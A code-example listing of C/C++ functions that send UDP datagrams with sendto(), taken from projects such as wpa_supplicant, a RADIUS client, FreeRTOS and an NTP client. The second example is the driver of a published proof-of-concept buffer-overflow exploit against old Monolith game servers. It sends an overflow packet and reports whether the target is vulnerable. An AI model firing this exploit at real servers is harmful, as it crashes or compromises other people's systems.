コード例 #1
0
static void wpa_supplicant_global_ctrl_iface_receive(int sock, void *eloop_ctx,
						     void *sock_ctx)
{
	struct wpa_global *global = eloop_ctx;
	struct ctrl_iface_global_priv *priv = sock_ctx;
	char buf[256], *pos;
	int res;
	struct sockaddr_in from;
	socklen_t fromlen = sizeof(from);
	char *reply;
	size_t reply_len;
	u8 cookie[COOKIE_LEN];

	res = recvfrom(sock, buf, sizeof(buf) - 1, 0,
		       (struct sockaddr *) &from, &fromlen);
	if (res < 0) {
		perror("recvfrom(ctrl_iface)");
		return;
	}
	if (from.sin_addr.s_addr != htonl((127 << 24) | 1)) {
		/*
		 * The OS networking stack is expected to drop this kind of
		 * frames since the socket is bound to only localhost address.
		 * Just in case, drop the frame if it is coming from any other
		 * address.
		 */
		wpa_printf(MSG_DEBUG, "CTRL: Drop packet from unexpected "
			   "source %s", inet_ntoa(from.sin_addr));
		return;
	}
	buf[res] = '\0';

	if (os_strcmp(buf, "GET_COOKIE") == 0) {
		reply = wpa_supplicant_global_get_cookie(priv, &reply_len);
		goto done;
	}

	if (os_strncmp(buf, "COOKIE=", 7) != 0) {
		wpa_printf(MSG_DEBUG, "CTLR: No cookie in the request - "
			   "drop request");
		return;
	}

	if (hexstr2bin(buf + 7, cookie, COOKIE_LEN) < 0) {
		wpa_printf(MSG_DEBUG, "CTLR: Invalid cookie format in the "
			   "request - drop request");
		return;
	}

	if (os_memcmp(cookie, priv->cookie, COOKIE_LEN) != 0) {
		wpa_printf(MSG_DEBUG, "CTLR: Invalid cookie in the request - "
			   "drop request");
		return;
	}

	pos = buf + 7 + 2 * COOKIE_LEN;
	while (*pos == ' ')
		pos++;

	reply = wpa_supplicant_global_ctrl_iface_process(global, pos,
							 &reply_len);

 done:
	if (reply) {
		sendto(sock, reply, reply_len, 0, (struct sockaddr *) &from,
		       fromlen);
		os_free(reply);
	} else if (reply_len) {
		sendto(sock, "FAIL\n", 5, 0, (struct sockaddr *) &from,
		       fromlen);
	}
}
コード例 #2
0
ファイル: 571.c プロジェクト: 0x24bin/exploit-database
int main(int argc, char *argv[]) {
    int     sd;
    u_short port = PORT;
    struct  sockaddr_in peer;


    setbuf(stdout, NULL);

    fputs("\n"
        "\\secure\\ buffer overflow in some old Monolith games "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: [email protected]\n"
        "web:    http://aluigi.altervista.org\n"
        "\n", stdout);

    if(argc < 2) {
        printf("\n"
            "Usage: %s <server> [port(%d)]\n"
            "\n"
            "Vulnerable games            Latest versions\n"
            "  Alien versus predator 2   1.0.9.6\n"
            "  Blood 2                   2.1\n"
            "  No one lives forever      1.004\n"
            "  Shogo                     2.2\n"
            "\n"
            "Note: the return address will be overwritten by 0x%08lx\n"
            "      (only the bytes from 0x20 to 0x7f are allowed)\n"
            "\n", argv[0], port, *(u_long *)(PCK + 72));
        exit(1);
    }

#ifdef WIN32
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

    if(argc > 2) port = atoi(argv[2]);

    peer.sin_addr.s_addr = resolv(argv[1]);
    peer.sin_port        = htons(port);
    peer.sin_family      = AF_INET;

    printf("- target is %s:%hu\n\n",
        inet_ntoa(peer.sin_addr), port);

    fputs("- Request informations:\n", stdout);
    gs_info_udp(peer.sin_addr.s_addr, port);

    fputs("- Send BOOM packet:\n", stdout);
    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();
    if(sendto(sd, PCK, sizeof(PCK) - 1, 0, (struct sockaddr *)&peer, sizeof(peer))
      < 0) std_err();
    close(sd);

    fputs("- Check server:\n", stdout);
    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();
    if(sendto(sd, "\\status\\", 8, 0, (struct sockaddr *)&peer, sizeof(peer))
      < 0) std_err();
    if(timeout(sd) < 0) {
        fputs("\nServer IS vulnerable!!!\n\n", stdout);
    } else {
        fputs("\nServer doesn't seem vulnerable\n\n", stdout);
    }

    close(sd);
    return(0);
}
コード例 #3
0
static void wpa_supplicant_ctrl_iface_receive(int sock, void *eloop_ctx,
					      void *sock_ctx)
{
	struct wpa_supplicant *wpa_s = eloop_ctx;
	struct ctrl_iface_priv *priv = sock_ctx;
	char buf[256], *pos;
	int res;
	struct sockaddr_in from;
	socklen_t fromlen = sizeof(from);
	char *reply = NULL;
	size_t reply_len = 0;
	int new_attached = 0;
	u8 cookie[COOKIE_LEN];

	res = recvfrom(sock, buf, sizeof(buf) - 1, 0,
		       (struct sockaddr *) &from, &fromlen);
	if (res < 0) {
		perror("recvfrom(ctrl_iface)");
		return;
	}
	if (from.sin_addr.s_addr != htonl((127 << 24) | 1)) {
		/*
		 * The OS networking stack is expected to drop this kind of
		 * frames since the socket is bound to only localhost address.
		 * Just in case, drop the frame if it is coming from any other
		 * address.
		 */
		wpa_printf(MSG_DEBUG, "CTRL: Drop packet from unexpected "
			   "source %s", inet_ntoa(from.sin_addr));
		return;
	}
	buf[res] = '\0';

	if (os_strcmp(buf, "GET_COOKIE") == 0) {
		reply = wpa_supplicant_ctrl_iface_get_cookie(priv, &reply_len);
		goto done;
	}

	/*
	 * Require that the client includes a prefix with the 'cookie' value
	 * fetched with GET_COOKIE command. This is used to verify that the
	 * client has access to a bidirectional link over UDP in order to
	 * avoid attacks using forged localhost IP address even if the OS does
	 * not block such frames from remote destinations.
	 */
	if (os_strncmp(buf, "COOKIE=", 7) != 0) {
		wpa_printf(MSG_DEBUG, "CTLR: No cookie in the request - "
			   "drop request");
		return;
	}

	if (hexstr2bin(buf + 7, cookie, COOKIE_LEN) < 0) {
		wpa_printf(MSG_DEBUG, "CTLR: Invalid cookie format in the "
			   "request - drop request");
		return;
	}

	if (os_memcmp(cookie, priv->cookie, COOKIE_LEN) != 0) {
		wpa_printf(MSG_DEBUG, "CTLR: Invalid cookie in the request - "
			   "drop request");
		return;
	}

	pos = buf + 7 + 2 * COOKIE_LEN;
	while (*pos == ' ')
		pos++;

	if (os_strcmp(pos, "ATTACH") == 0) {
		if (wpa_supplicant_ctrl_iface_attach(priv, &from, fromlen))
			reply_len = 1;
		else {
			new_attached = 1;
			reply_len = 2;
		}
	} else if (os_strcmp(pos, "DETACH") == 0) {
		if (wpa_supplicant_ctrl_iface_detach(priv, &from, fromlen))
			reply_len = 1;
		else
			reply_len = 2;
	} else if (os_strncmp(pos, "LEVEL ", 6) == 0) {
		if (wpa_supplicant_ctrl_iface_level(priv, &from, fromlen,
						    pos + 6))
			reply_len = 1;
		else
			reply_len = 2;
	} else {
		reply = wpa_supplicant_ctrl_iface_process(wpa_s, pos,
							  &reply_len);
	}

 done:
	if (reply) {
		sendto(sock, reply, reply_len, 0, (struct sockaddr *) &from,
		       fromlen);
		os_free(reply);
	} else if (reply_len == 1) {
		sendto(sock, "FAIL\n", 5, 0, (struct sockaddr *) &from,
		       fromlen);
	} else if (reply_len == 2) {
		sendto(sock, "OK\n", 3, 0, (struct sockaddr *) &from,
		       fromlen);
	}

	if (new_attached)
		eapol_sm_notify_ctrl_attached(wpa_s->eapol);
}
コード例 #4
0
ファイル: udpfromto.c プロジェクト: jgimenez/libreswan
int main(int argc, char **argv)
{
	struct sockaddr_in from, to, in;
	char buf[TESTLEN];
	char *destip = DESTIP;
	int port = DEF_PORT;
	int n, server_socket, client_socket, fl, tl, pid;

	if (argc > 1)
		destip = argv[1];
	if (argc > 2)
		port = atoi(argv[2]);

	in.sin_family = AF_INET;
#ifdef NEED_SIN_LEN
	in.sin_len = sizeof( struct sockaddr_in );
#endif
	in.sin_addr.s_addr = INADDR_ANY;
	in.sin_port = htons(port);
	fl = tl = sizeof(struct sockaddr_in);
	memset(&from, 0, sizeof(from));
	memset(&to,   0, sizeof(to));

	pid = fork();
	switch (pid) {
	case -1:
		perror("fork");
		return 0;

	case 0:
		/* child: client */
		usleep(100000);	/* ??? why? */
		close(server_socket);
		client_socket = safe_socket(PF_INET, SOCK_DGRAM, 0);
		if (udpfromto_init(client_socket) != 0) {
			perror("udpfromto_init");
			_exit(0);
		}
		/* bind client on different port */
		in.sin_port = htons(port + 1);
		if (bind(client_socket, (struct sockaddr *)&in, sizeof(in)) < 0) {
			perror("client: bind");
			_exit(0);
		}

		in.sin_port = htons(port);
		in.sin_addr.s_addr = inet_addr(destip);

		printf("client: sending packet to %s:%d\n", destip, port);
		if (sendto(client_socket, TESTSTRING, TESTLEN, 0,
			   (struct sockaddr *)&in, sizeof(in)) < 0) {
			perror("client: sendto");
			_exit(0);
		}

		printf("client: waiting for reply from server on INADDR_ANY:%d\n",
		       port + 1);

		if ((n = recvfromto(client_socket, buf, sizeof(buf), 0,
				    (struct sockaddr *)&from, &fl,
				    (struct sockaddr *)&to, &tl)) < 0) {
			perror("client: recvfromto");
			_exit(0);
		}

		printf("client: received a packet of %d bytes [%s] ", n, buf);
		printf("(src ip:port %s:%d",
		       inet_ntoa(from.sin_addr), ntohs(from.sin_port));
		printf(" dst ip:port %s:%d)\n",
		       inet_ntoa(to.sin_addr), ntohs(to.sin_port));

		_exit(0);

	default:
		/* parent: server */
		server_socket = safe_socket(PF_INET, SOCK_DGRAM, 0);
		if (udpfromto_init(server_socket) != 0) {
			perror("udpfromto_init\n");
			waitpid(pid, NULL, WNOHANG);
			return 0;
		}

		if (bind(server_socket, (struct sockaddr *)&in, sizeof(in)) < 0) {
			perror("server: bind");
			waitpid(pid, NULL, WNOHANG);
			return 0;
		}

		printf("server: waiting for packets on INADDR_ANY:%d\n", port);
		if ((n = recvfromto(server_socket, buf, sizeof(buf), 0,
				    (struct sockaddr *)&from, &fl,
				    (struct sockaddr *)&to, &tl)) < 0) {
			perror("server: recvfromto");
			waitpid(pid, NULL, WNOHANG);
			return 0;
		}

		printf("server: received a packet of %d bytes [%s] ", n, buf);
		printf("(src ip:port %s:%d ",
		       inet_ntoa(from.sin_addr), ntohs(from.sin_port));
		printf(" dst ip:port %s:%d)\n",
		       inet_ntoa(to.sin_addr), ntohs(to.sin_port));

		printf("server: replying from address packet was received on to source address\n");

		if ((n = sendfromto(server_socket, buf, n, 0,
				    (struct sockaddr *)&to
					    (struct sockaddr *) & from, fl)) < 0)
			perror("server: sendfromto");

		waitpid(pid, NULL, 0);
		return 0;
	}
}
コード例 #5
0
ファイル: library.c プロジェクト: kepta/chat
int udp_send(connection_t *con, const void *buf, size_t buflen) {
    return sendto(con->socket, buf, buflen, UDP_FLAGS, (struct sockaddr *)&con->addr, con->addr_len);
}
コード例 #6
0
ファイル: client_stub.c プロジェクト: vcoste/ece454
/**
 * This is used by the client application program to invoke a remote method. 
 * @param  char *   name or IP address of the server to connect to
 * @param  int      port number to connect to on the server
 * @param  char *   name of the procedure to call
 * @param  int      number of parameters sent to the remote method
 * @param  ...      For each of the nparams parameters, we have two arguments:
 *                  <size of the argument,(void *) to the argument>
 * @return          the return value of the remote procedure call with the 
 *                  correct type
 */
return_type make_remote_call(   const char *servernameorip,
                                const int serverportnumber,
                                const char *procedure_name,
                                const int nparams,
                                ...) {
    // setup UDP connection here
    struct sockaddr_in server;
    socklen_t len = sizeof(struct sockaddr_in);
    char buf[BUF_SIZE];
    struct hostent *host;
    int n, s;

    host = gethostbyname(servernameorip);
    if(host == NULL) {
        // Hostname not found
        perror("gethostbyname");
        return_type *return_error = malloc(sizeof(*return_error));
        int zero_size = 0;
        memcpy(&(return_error->return_size), &zero_size, sizeof(zero_size));
        return_error->return_val = malloc(return_error->return_size);
        memcpy( return_error->return_val, 
                NULL, 
                return_error->return_size);
        return *return_error;
    }

    // initialize socket
    if((s=socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) {
        // Error with socket
        perror("socket");
        return_type *return_error = malloc(sizeof(*return_error));
        int zero_size = 0;
        memcpy(&(return_error->return_size), &zero_size, sizeof(zero_size));
        return_error->return_val = malloc(return_error->return_size);
        memcpy( return_error->return_val, 
                NULL, 
                return_error->return_size);
        close(s);
        return *return_error;
    }

    //initialize server addr
    memset((char *) &server, 0, sizeof(struct sockaddr_in));
    server.sin_family = AF_INET;
    server.sin_port = htons(serverportnumber);
    server.sin_addr = *((struct in_addr*) host->h_addr);

    // construct procedure_call buffer
    char procedure_call[BUF_SIZE];
    void * index = procedure_call;

    // copy name of the procedure into procedure_call
    strcpy(index, procedure_name);
    index += strlen(procedure_name)+1;

    // copy number of params into procedure_call
    memcpy((void *)(index), (void *)&nparams, sizeof(int));
    index += sizeof(int);

    // populating list of arguments into procedure_call
    va_list arguments;
    va_start(arguments, nparams);
    int i;
    for(i = 0; i < nparams; ++i) {
        int arg_size = va_arg(arguments, int); 
        memcpy((void *)(index), (void *)&arg_size, sizeof(int));
        index += sizeof(int);

        void * arg = va_arg(arguments, void *); 
        memcpy((void *)(index), (void *)arg, arg_size);
        index += arg_size;
    }
    
    // send message
    if(sendto(  s,
                procedure_call,
                sizeof(procedure_call),
                0,
                (struct sockaddr *) &server,
                len) == -1) {
        perror("sendto()");
        return_type *return_error = malloc(sizeof(*return_error));
        int zero_size = 0;
        memcpy(&(return_error->return_size), &zero_size, sizeof(zero_size));
        return_error->return_val = malloc(return_error->return_size);
        memcpy( return_error->return_val, 
                NULL, 
                return_error->return_size);
        close(s);
        return *return_error;
    }

    // receive response.
    if((n = recvfrom(  s,
                       buf,
                       BUF_SIZE,
                       0,
                       (struct sockaddr *) &server,
                       &len)) != -1) {
        printf("In received response (client_stub)\n");
        // received something
        fflush(stdout);

        if(len>BUF_SIZE) {
            printf("zero size buf (client_stub)\n");
            // Error, BUF_SIZE is too small
            return_type *return_error = malloc(sizeof(*return_error));
            int zero_size = 0;
            memcpy(&(return_error->return_size), &zero_size, sizeof(zero_size));
            return_error->return_val = malloc(return_error->return_size);
            memcpy( return_error->return_val, 
                    NULL, 
                    return_error->return_size);
            close(s);
            return *return_error;
        } else {
            printf("parsing response (client_stub)\n");
            // parsing response and creating return_type response object
            return_type *response = malloc(sizeof(*response));
            memcpy(&(response->return_size), buf, sizeof(int));
            if(response->return_size == 0) {
                printf("return_size = 0\n");
                response->return_val = NULL;
            } else {
                response->return_val = malloc(response->return_size);
                memcpy( response->return_val, 
                    (buf + sizeof(int)), 
                    response->return_size);
            }
            
            close(s);
            return *response;
        }
    } else {
        printf("Did NOT receive response (client_stub)\n");
        // nothing received from server, idk if this is used

        return_type *return_error = malloc(sizeof(*return_error));
        int zero_size = 0;
        memcpy(&(return_error->return_size), &zero_size, sizeof(zero_size));
        return_error->return_val = malloc(return_error->return_size);
        memcpy( return_error->return_val, 
                NULL, 
                return_error->return_size);
        close(s);
        return *return_error;
    }    
}
コード例 #7
0
int rc_send_server (rc_handle *rh, SEND_DATA *data, char *msg)
{
	int             sockfd;
	struct sockaddr_in sinlocal;
	struct sockaddr_in sinremote;
	AUTH_HDR       *auth, *recv_auth;
	uint32_t           auth_ipaddr, nas_ipaddr;
	char           *server_name;	/* Name of server to query */
	socklen_t       salen;
	int             result = 0;
	int             total_length;
	int             length;
	int             retry_max;
	size_t			secretlen;
	char            secret[MAX_SECRET_LENGTH + 1];
	unsigned char   vector[AUTH_VECTOR_LEN];
	// uint16_t for alignment
	uint16_t		recv_buffer[BUFFER_LEN / sizeof(uint16_t)];
	uint16_t		send_buffer[BUFFER_LEN / sizeof(uint16_t)];
	int		retries;
	VALUE_PAIR 	*vp;
	struct pollfd	pfd;
	double		start_time, timeout;

	memset(send_buffer, 0, BUFFER_LEN);
	server_name = data->server;
	if (server_name == NULL || server_name[0] == '\0')
		return ERROR_RC;

	if ((vp = rc_avpair_get(data->send_pairs, PW_SERVICE_TYPE, 0)) && \
	    (vp->lvalue == PW_ADMINISTRATIVE))
	{
		strcpy(secret, MGMT_POLL_SECRET);
		if ((auth_ipaddr = rc_get_ipaddr(server_name)) == 0)
			return ERROR_RC;
	}
	else
	{
		if(data->secret != NULL)
		{
			strncpy(secret, data->secret, MAX_SECRET_LENGTH);
		}
		/*
		else
		{
		*/
		if (rc_find_server (rh, server_name, &auth_ipaddr, secret) != 0)
		{
			rc_log(LOG_ERR, "rc_send_server: unable to find server: %s", server_name);
			return ERROR_RC;
		}
		/*}*/
	}

	DEBUG(LOG_ERR, "DEBUG: rc_send_server: creating socket to: %s", server_name);

	sockfd = socket (AF_INET, SOCK_DGRAM, 0);
	if (sockfd < 0)
	{
		memset (secret, '\0', sizeof (secret));
		rc_log(LOG_ERR, "rc_send_server: socket: %s", strerror(errno));
		return ERROR_RC;
	}

	memset((char *)&sinlocal, '\0', sizeof(sinlocal));
	sinlocal.sin_family = AF_INET;
	sinlocal.sin_addr.s_addr = htonl(rc_own_bind_ipaddress(rh));
	sinlocal.sin_port = htons((unsigned short) 0);
	if (bind(sockfd, SA(&sinlocal), sizeof(sinlocal)) < 0)
	{
		close (sockfd);
		memset (secret, '\0', sizeof (secret));
		rc_log(LOG_ERR, "rc_send_server: bind: %s: %s", server_name, strerror(errno));
		return ERROR_RC;
	}

	retry_max = data->retries;	/* Max. numbers to try for reply */
	retries = 0;			/* Init retry cnt for blocking call */

	memset ((char *)&sinremote, '\0', sizeof(sinremote));
	sinremote.sin_family = AF_INET;
	sinremote.sin_addr.s_addr = htonl (auth_ipaddr);
	sinremote.sin_port = htons ((unsigned short) data->svc_port);

	/*
	 * Fill in NAS-IP-Address (if needed)
	 */
	if (rc_avpair_get(data->send_pairs, PW_NAS_IP_ADDRESS, 0) == NULL) {
		if (sinlocal.sin_addr.s_addr == htonl(INADDR_ANY)) {
			if (rc_get_srcaddr(SA(&sinlocal), SA(&sinremote)) != 0) {
				close (sockfd);
				memset (secret, '\0', sizeof (secret));
				return ERROR_RC;
			}
		}
		nas_ipaddr = ntohl(sinlocal.sin_addr.s_addr);
		rc_avpair_add(rh, &(data->send_pairs), PW_NAS_IP_ADDRESS,
		    &nas_ipaddr, 0, 0);
	}

	/* Build a request */
	auth = (AUTH_HDR *) send_buffer;
	auth->code = data->code;
	auth->id = data->seq_nbr;

	if (data->code == PW_ACCOUNTING_REQUEST)
	{
		total_length = rc_pack_list(data->send_pairs, secret, auth) + AUTH_HDR_LEN;

		auth->length = htons ((unsigned short) total_length);

		memset((char *) auth->vector, 0, AUTH_VECTOR_LEN);
		secretlen = strlen (secret);
		memcpy ((char *) auth + total_length, secret, secretlen);
		rc_md5_calc (vector, (unsigned char *) auth, total_length + secretlen);
		memcpy ((char *) auth->vector, (char *) vector, AUTH_VECTOR_LEN);
	}
	else
	{
		rc_random_vector (vector);
		memcpy ((char *) auth->vector, (char *) vector, AUTH_VECTOR_LEN);

		total_length = rc_pack_list(data->send_pairs, secret, auth) + AUTH_HDR_LEN;

		auth->length = htons ((unsigned short) total_length);
	}

	DEBUG(LOG_ERR, "DEBUG: local %s : 0, remote %s : %u\n", 
		inet_ntoa(sinlocal.sin_addr),
		inet_ntoa(sinremote.sin_addr), data->svc_port);

	for (;;)
	{
		sendto (sockfd, (char *) auth, (unsigned int) total_length, (int) 0,
			SA(&sinremote), sizeof (struct sockaddr_in));

		pfd.fd = sockfd;
		pfd.events = POLLIN;
		pfd.revents = 0;
		start_time = rc_getctime();
		for (timeout = data->timeout; timeout > 0;
		    timeout -= rc_getctime() - start_time) {
			result = poll(&pfd, 1, timeout * 1000);
			if (result != -1 || errno != EINTR)
				break;
		}
		if (result == -1)
		{
			rc_log(LOG_ERR, "rc_send_server: poll: %s", strerror(errno));
			memset (secret, '\0', sizeof (secret));
			close (sockfd);
			return ERROR_RC;
		}
		if (result == 1 && (pfd.revents & POLLIN) != 0)
			break;

		/*
		 * Timed out waiting for response.  Retry "retry_max" times
		 * before giving up.  If retry_max = 0, don't retry at all.
		 */
		if (retries++ >= retry_max)
		{
			rc_log(LOG_ERR,
				"rc_send_server: no reply from RADIUS server %s:%u, %s",
				 rc_ip_hostname (auth_ipaddr), data->svc_port, inet_ntoa(sinremote.sin_addr));
			close (sockfd);
			memset (secret, '\0', sizeof (secret));
			return TIMEOUT_RC;
		}
	}
	salen = sizeof(sinremote);
	length = recvfrom (sockfd, (char *) recv_buffer,
			   (int) sizeof (recv_buffer),
			   (int) 0, SA(&sinremote), &salen);

	if (length <= 0)
	{
		rc_log(LOG_ERR, "rc_send_server: recvfrom: %s:%d: %s", server_name,\
			 data->svc_port, strerror(errno));
		close (sockfd);
		memset (secret, '\0', sizeof (secret));
		return ERROR_RC;
	}

	recv_auth = (AUTH_HDR *)recv_buffer;

	if (length < AUTH_HDR_LEN || length < ntohs(recv_auth->length)) {
		rc_log(LOG_ERR, "rc_send_server: recvfrom: %s:%d: reply is too short",
		    server_name, data->svc_port);
		close(sockfd);
		memset(secret, '\0', sizeof(secret));
		return ERROR_RC;
	}

	result = rc_check_reply (recv_auth, BUFFER_LEN, secret, vector, data->seq_nbr);

	length = ntohs(recv_auth->length)  - AUTH_HDR_LEN;
	if (length > 0) {
		data->receive_pairs = rc_avpair_gen(rh, NULL, recv_auth->data,
		    length, 0);
	} else {
		data->receive_pairs = NULL;
	}

	close (sockfd);
	memset (secret, '\0', sizeof (secret));

	if (result != OK_RC) return result;

	*msg = '\0';
	vp = data->receive_pairs;
	while (vp)
	{
		if ((vp = rc_avpair_get(vp, PW_REPLY_MESSAGE, 0)))
		{
			strcat(msg, vp->strvalue);
			strcat(msg, "\n");
			vp = vp->next;
		}
	}

	if ((recv_auth->code == PW_ACCESS_ACCEPT) ||
		(recv_auth->code == PW_PASSWORD_ACK) ||
		(recv_auth->code == PW_ACCOUNTING_RESPONSE))
	{
		result = OK_RC;
	}
	else if ((recv_auth->code == PW_ACCESS_REJECT) ||
		(recv_auth->code == PW_PASSWORD_REJECT))
	{
		result = REJECT_RC;
	}
	else
	{
		result = BADRESP_RC;
	}

	return result;
}
コード例 #8
0
/*
 * Task that provides the input and output for the FreeRTOS+CLI command
 * interpreter.  In this case a WinSock UDP port is used for convenience as this
 * demo runs in a simulated environment on a Windows PC.  See the URL in the
 * comments within main.c for the location of the online documentation.
 */
void vUDPCommandInterpreterTask( void *pvParameters )
{
long lBytes, lByte;
signed char cInChar, cInputIndex = 0;
static signed char cInputString[ cmdMAX_INPUT_SIZE ], cOutputString[ cmdMAX_OUTPUT_SIZE ], cLocalBuffer[ cmdSOCKET_INPUT_BUFFER_SIZE ];
portBASE_TYPE xMoreDataToFollow;
volatile int iErrorCode = 0;
struct sockaddr_in xClient;
int xClientAddressLength = sizeof( struct sockaddr_in );
SOCKET xSocket;

	/* Just to prevent compiler warnings. */
	( void ) pvParameters;

	/* Attempt to open the socket. */
	xSocket = prvOpenUDPSocket();

	if( xSocket != INVALID_SOCKET )
	{
		for( ;; )
		{
			/* Wait for incoming data on the opened socket. */
			lBytes = recvfrom( xSocket, cLocalBuffer, sizeof( cLocalBuffer ), 0, ( struct sockaddr * ) &xClient, &xClientAddressLength );

			if( lBytes == SOCKET_ERROR )
			{
				/* Something went wrong, but it is not handled by this simple
				example. */
				iErrorCode = WSAGetLastError();
			}
			else
			{
				/* Process each received byte in turn. */
				lByte = 0;
				while( lByte < lBytes )
				{
					/* The next character in the input buffer. */
					cInChar = cLocalBuffer[ lByte ];
					lByte++;

					/* Newline characters are taken as the end of the command
					string. */
					if( cInChar == '\n' )
					{
						/* Process the input string received prior to the
						newline. */
						do
						{
							/* Pass the string to FreeRTOS+CLI. */
							xMoreDataToFollow = FreeRTOS_CLIProcessCommand( cInputString, cOutputString, cmdMAX_OUTPUT_SIZE );

							/* Send the output generated by the command's
							implementation. */
							sendto( xSocket, cOutputString,  strlen( cOutputString ), 0, ( SOCKADDR * ) &xClient, xClientAddressLength );

						} while( xMoreDataToFollow != pdFALSE ); /* Until the command does not generate any more output. */

						/* All the strings generated by the command processing
						have been sent.  Clear the input string ready to receive
						the next command. */
						cInputIndex = 0;
						memset( cInputString, 0x00, cmdMAX_INPUT_SIZE );

						/* Transmit a spacer, just to make the command console
						easier to read. */
						sendto( xSocket, "\r\n",  strlen( "\r\n" ), 0, ( SOCKADDR * ) &xClient, xClientAddressLength );
					}
					else
					{
						if( cInChar == '\r' )
						{
							/* Ignore the character.  Newlines are used to
							detect the end of the input string. */
						}
						else if( ( cInChar == '\b' ) || ( cInChar == cmdASCII_DEL ) )
						{
							/* Backspace was pressed.  Erase the last character
							in the string - if any. */
							if( cInputIndex > 0 )
							{
								cInputIndex--;
								cInputString[ cInputIndex ] = '\0';
							}
						}
						else
						{
							/* A character was entered.  Add it to the string
							entered so far.  When a \n is entered the complete
							string will be passed to the command interpreter. */
							if( cInputIndex < cmdMAX_INPUT_SIZE )
							{
								cInputString[ cInputIndex ] = cInChar;
								cInputIndex++;
							}
						}
					}
				}
			}
		}
	}
	else
	{
		/* The socket could not be opened. */
		vTaskDelete( NULL );
	}
}
コード例 #9
0
ファイル: unix_socket.c プロジェクト: schaars/kzimp
void unix_send_one_node(void *msg, size_t length, int dest)
{
  sendto(sock, (char*) msg, length, 0, (struct sockaddr*) &addresses[dest],
      sizeof(addresses[dest]));
}
コード例 #10
0
ファイル: server.cpp プロジェクト: kubaaa/SPO_lab3
int _tmain(int argc, _TCHAR* argv[])
{
	int ret;

	WSADATA	wsd;
	if (WSAStartup(MAKEWORD(2,2), &wsd) != 0)
	{
		printf("can't load winSock library");
		return 0;
	}

	SOCKET sServerListen;
	struct sockaddr_in localaddr, clientaddr;
	int iSize;

	sServerListen = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if (sServerListen == INVALID_SOCKET)
	{
		printf("can't create socket");
		return 0;
	}
	localaddr.sin_addr.s_addr = htonl(INADDR_ANY);
	localaddr.sin_family = AF_INET;
	localaddr.sin_port = htons(6021);

	if (bind(sServerListen, (struct sockaddr *)&localaddr, sizeof(localaddr)) == SOCKET_ERROR)
	{
		printf("can't bind main listen socket");
		return 0;
	}
    
	char buf[256];
	HANDLE hNewThread;

	// в цикле мы слушаем 6021 порт
	while (1)
	{
		printf("listen (port 6021)...\n\r");

		iSize = sizeof(clientaddr);
        ret = recvfrom(sServerListen, buf, 256, 0, (struct sockaddr *)&clientaddr, &iSize);

		if (ret != SOCKET_ERROR)
		{
			// если пришёл запрос на этот порт
			if (buf[0] == '?')
			{
				// отошлём клиенту номер нового порта, с которым он и будет 
				// работать (с нашей стороны это будет поток с новым сокетом)
				char *sPort = new char[8];
				itoa(portN, sPort, 10);
				strcpy(buf, "!");
				strcat(buf, sPort);

				ret = sendto(sServerListen, buf, strlen(buf), 0, (struct sockaddr *)&clientaddr, iSize);

				// и создаём новый поток; поток же в свою 
				// очередь создаёт сокет на этом порту и пишет туда - таким образом
				// мы можем создать одновременно сколько угодно потоков, которые 
				// будут перекачивать файлы клиентам, и не будет конфликта портов)
				hNewThread = CreateThread(NULL, 0, fileTransferThread, NULL, 0, NULL);
				CloseHandle(hNewThread);
			}
		}
    }

    clos
コード例 #11
0
ファイル: ntp.cpp プロジェクト: litaznboy/webAlbum-2.4
int64_t DoReq(SOCKET sockfd, socklen_t servlen, struct sockaddr cliaddr) {


#ifdef WIN32
    u_long nOne = 1;
    if (ioctlsocket(sockfd, FIONBIO, &nOne) == SOCKET_ERROR) {
        printf("ConnectSocket() : ioctlsocket non-blocking setting failed, error %d\n", WSAGetLastError());
#else
    if (fcntl(sockfd, F_SETFL, O_NONBLOCK) == SOCKET_ERROR) {
        printf("ConnectSocket() : fcntl non-blocking setting failed, error %d\n", errno);
#endif
        return -2;
    }

    struct timeval timeout = {10, 0};
    struct pkt *msg = new pkt;
    struct pkt *prt  = new pkt;
    time_t seconds_transmit;
    int len = 48;

    msg->li_vn_mode=227;
    msg->stratum=0;
    msg->ppoll=4;
    msg->precision=0;
    msg->rootdelay=0;
    msg->rootdispersion=0;

    msg->ref.Ul_i.Xl_i=0;
    msg->ref.Ul_f.Xl_f=0;
    msg->org.Ul_i.Xl_i=0;
    msg->org.Ul_f.Xl_f=0;
    msg->rec.Ul_i.Xl_i=0;
    msg->rec.Ul_f.Xl_f=0;
    msg->xmt.Ul_i.Xl_i=0;
    msg->xmt.Ul_f.Xl_f=0;

    int retcode = sendto(sockfd, (char *) msg, len, 0, &cliaddr, servlen);
    if (retcode < 0) {
        printf("sendto() failed: %d\n", retcode);
        seconds_transmit = -3;
        goto _end;
    }

    fd_set fdset;
    FD_ZERO(&fdset);
    FD_SET(sockfd, &fdset);

    retcode = select(sockfd + 1, &fdset, NULL, NULL, &timeout);
    if (retcode <= 0) {
        printf("recvfrom() error\n");
        seconds_transmit = -4;
        goto _end;
    }

    recvfrom(sockfd, (char *) msg, len, 0, NULL, NULL);
    ntohl_fp(&msg->xmt, &prt->xmt);
    Ntp2Unix(prt->xmt.Ul_i.Xl_ui, seconds_transmit);

    _end:

    delete msg;
    delete prt;

    return seconds_transmit;
}

int64_t NtpGetTime(CNetAddr& ip) {
    struct sockaddr cliaddr;

    SOCKET sockfd;
    socklen_t servlen;

    if (!InitWithRandom(sockfd, servlen, &cliaddr))
        return -1;

    ip = CNetAddr(((sockaddr_in *)&cliaddr)->sin_addr);
    int64_t nTime = DoReq(sockfd, servlen, cliaddr);

    closesocket(sockfd);

    return nTime;
}

int64_t NtpGetTime(const std::string &strHostName)
{
    struct sockaddr cliaddr;

    SOCKET sockfd;
    socklen_t servlen;

    if (!InitWithHost(strHostName, sockfd, servlen, &cliaddr))
        return -1;

    int64_t nTime = DoReq(sockfd, servlen, cliaddr);

    closesocket(sockfd);

    return nTime;
}

// NTP server, which we unconditionally trust. This may be your own installation of ntpd somewhere, for example. 
// "localhost" means "trust no one"
std::string strTrustedUpstream = "localhost";

// Current offset
int64_t nNtpOffset = INT64_MAX;

int64_t GetNtpOffset() {
    return nNtpOffset;
}

void ThreadNtpSamples(void* parg) {
    const int64_t nMaxOffset = 86400; // Not a real limit, just sanity threshold.

